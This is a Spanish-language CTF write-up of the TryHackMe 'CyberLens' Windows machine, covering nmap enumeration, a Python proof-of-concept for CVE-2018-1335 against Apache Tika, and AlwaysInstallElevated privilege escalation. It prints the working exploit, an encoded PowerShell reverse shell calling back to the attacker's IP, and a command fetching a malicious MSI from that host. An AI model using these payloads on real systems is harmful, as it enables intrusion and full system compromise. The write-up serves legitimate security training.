Zona Hacking — Writeups de CTFs y Seguridad Ofensiva

Sistema operativo	Dificultad	Fecha de Lanzamiento	Creador
Windows	Easy	17 Mayo 2024	tryhackme & tgreenMWR & TeneBrae93

Reconocimiento

Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

cyberlens

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.202.180
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-25 21:45 -03
Initiating SYN Stealth Scan at 21:45
Scanning 10.10.202.180 [65535 ports]
Discovered open port 135/tcp on 10.10.202.180
Discovered open port 139/tcp on 10.10.202.180
Discovered open port 80/tcp on 10.10.202.180
Discovered open port 3389/tcp on 10.10.202.180
Discovered open port 445/tcp on 10.10.202.180
Discovered open port 49668/tcp on 10.10.202.180
Discovered open port 61777/tcp on 10.10.202.180
Discovered open port 49667/tcp on 10.10.202.180
Discovered open port 49666/tcp on 10.10.202.180
Discovered open port 5985/tcp on 10.10.202.180
Discovered open port 49664/tcp on 10.10.202.180
Discovered open port 49671/tcp on 10.10.202.180
Discovered open port 7680/tcp on 10.10.202.180
Discovered open port 49665/tcp on 10.10.202.180
Discovered open port 49676/tcp on 10.10.202.180
Discovered open port 47001/tcp on 10.10.202.180
Discovered open port 49669/tcp on 10.10.202.180
Completed SYN Stealth Scan at 21:45, 25.43s elapsed (65535 total ports)
Nmap scan report for 10.10.202.180
Host is up, received user-set (0.23s latency).
Scanned at 2025-03-25 21:45:08 -03 for 26s
Not shown: 63460 closed tcp ports (reset), 2058 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       REASON
80/tcp    open  http          syn-ack ttl 127
135/tcp   open  msrpc         syn-ack ttl 127
139/tcp   open  netbios-ssn   syn-ack ttl 127
445/tcp   open  microsoft-ds  syn-ack ttl 127
3389/tcp  open  ms-wbt-server syn-ack ttl 127
5985/tcp  open  wsman         syn-ack ttl 127
7680/tcp  open  pando-pub     syn-ack ttl 127
47001/tcp open  winrm         syn-ack ttl 127
49664/tcp open  unknown       syn-ack ttl 127
49665/tcp open  unknown       syn-ack ttl 127
49666/tcp open  unknown       syn-ack ttl 127
49667/tcp open  unknown       syn-ack ttl 127
49668/tcp open  unknown       syn-ack ttl 127
49669/tcp open  unknown       syn-ack ttl 127
49671/tcp open  unknown       syn-ack ttl 127
49676/tcp open  unknown       syn-ack ttl 127
61777/tcp open  unknown       syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 25.53 seconds
           Raw packets sent: 124110 (5.461MB) | Rcvd: 64512 (2.581MB)

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sCV -p80,135,139,445,3389,5985,7680,47001,49664,49665,49666,49667,49668,49669,49671,49676,61777 -oN servicesScan 10.10.202.180
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-25 21:47 -03
Nmap scan report for cyberlens.thm (10.10.202.180)
Host is up (0.23s latency).

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Apache httpd 2.4.57 ((Win64))
|_http-server-header: Apache/2.4.57 (Win64)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: CyberLens: Unveiling the Hidden Matrix
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-03-26T00:50:35+00:00; +2m15s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: CYBERLENS
|   NetBIOS_Domain_Name: CYBERLENS
|   NetBIOS_Computer_Name: CYBERLENS
|   DNS_Domain_Name: CyberLens
|   DNS_Computer_Name: CyberLens
|   Product_Version: 10.0.17763
|_  System_Time: 2025-03-26T00:50:26+00:00
| ssl-cert: Subject: commonName=CyberLens
| Not valid before: 2025-03-25T00:45:14
|_Not valid after:  2025-09-24T00:45:14
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp  open  pando-pub?
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
61777/tcp open  http          Jetty 8.y.z-SNAPSHOT
| http-methods: 
|_  Potentially risky methods: PUT
|_http-cors: HEAD GET
|_http-title: Welcome to the Apache Tika 1.17 Server
|_http-server-header: Jetty(8.y.z-SNAPSHOT)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2m14s, deviation: 0s, median: 2m13s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2025-03-26T00:50:27
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.74 seconds

Explotación inicial

echo '10.10.202.180 cyberlens.thm' >> /etc/hosts

HTTP (80)

cyberlens

HTTP (61777)

Apache Tika 1.17 Server

Apache Tika es una biblioteca de extracción de contenido y metadatos de archivos (como PDFs, imágenes, documentos de Office, etc.).
Tika-Server es una implementación en forma de servicio REST que permite procesar archivos enviando solicitudes HTTP.

Uso típico:
Enviar un archivo a http://servidor-tika:9998 y recibir su contenido/metadatos en JSON/XML.

cyberlens

######################################################################################################
#Description: This is a PoC for remote command execution in Apache Tika-server.                      #
#Versions Affected: Tika-server versions < 1.18                                                      #                                                                                                      #
#Researcher: David Yesland Twitter: @Daveysec                                                        #
#Blog Link: https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/ #                                                                                                      # 
#NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-1335                                       #
######################################################################################################


import sys
import requests

if len(sys.argv) < 4:
    print("Usage: python exploit.py <host> <port> <command>")
    print("Example: python exploit.py localhost 9998 calc.exe")
else:
    host = sys.argv[1]
    port = sys.argv[2]
    cmd = sys.argv[3]

    url = host+":"+str(port)+"/meta"

    headers = {"X-Tika-OCRTesseractPath": "\"cscript\"", 
        "X-Tika-OCRLanguage": "//E:Jscript", 
        "Expect": "100-continue", 
        "Content-type": "image/jp2", 
        "Connection": "close"}

    jscript='''var oShell = WScript.CreateObject("WScript.Shell");
    var oExec = oShell.Exec('cmd /c {}');
    '''.format(cmd)

    try:
        requests.put("https://"+url, headers=headers, data=jscript, verify=False)

    except:
        try:
            requests.put("http://"+url, headers=headers, data=jscript)
        except:
            print("Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>")

Nos ponemos en escucha con NetCat por el puerto 4444.

rlwrap nc -lnvp 4444

Ejecutamos el exploit

python3 exploit.py 10.10.202.180 61777 "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AOQAuADAALgA2ADQAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"

Ganamos acceso al sistema.

cyberlens

Elevación de privilegios

AlwaysInstallElevated

cyberlens

Descargamos el payload en la máquina víctima.

iwr -uri http://10.9.0.64/shell.msi -Outfile shell.msi

Nos ponemos en escucha con NetCat

rlwrap nc -lnvp 4444

Ejecutamos el payload y ganamos acceso.

cyberlens

Post Explotación

Leemos la flag de root.

cyberlens

CyberLens CyberLens

Reconocimiento

Enumeración inicial

Explotación inicial

HTTP (80)

HTTP (61777)

Apache Tika 1.17 Server

Elevación de privilegios

AlwaysInstallElevated

Post Explotación

CyberLens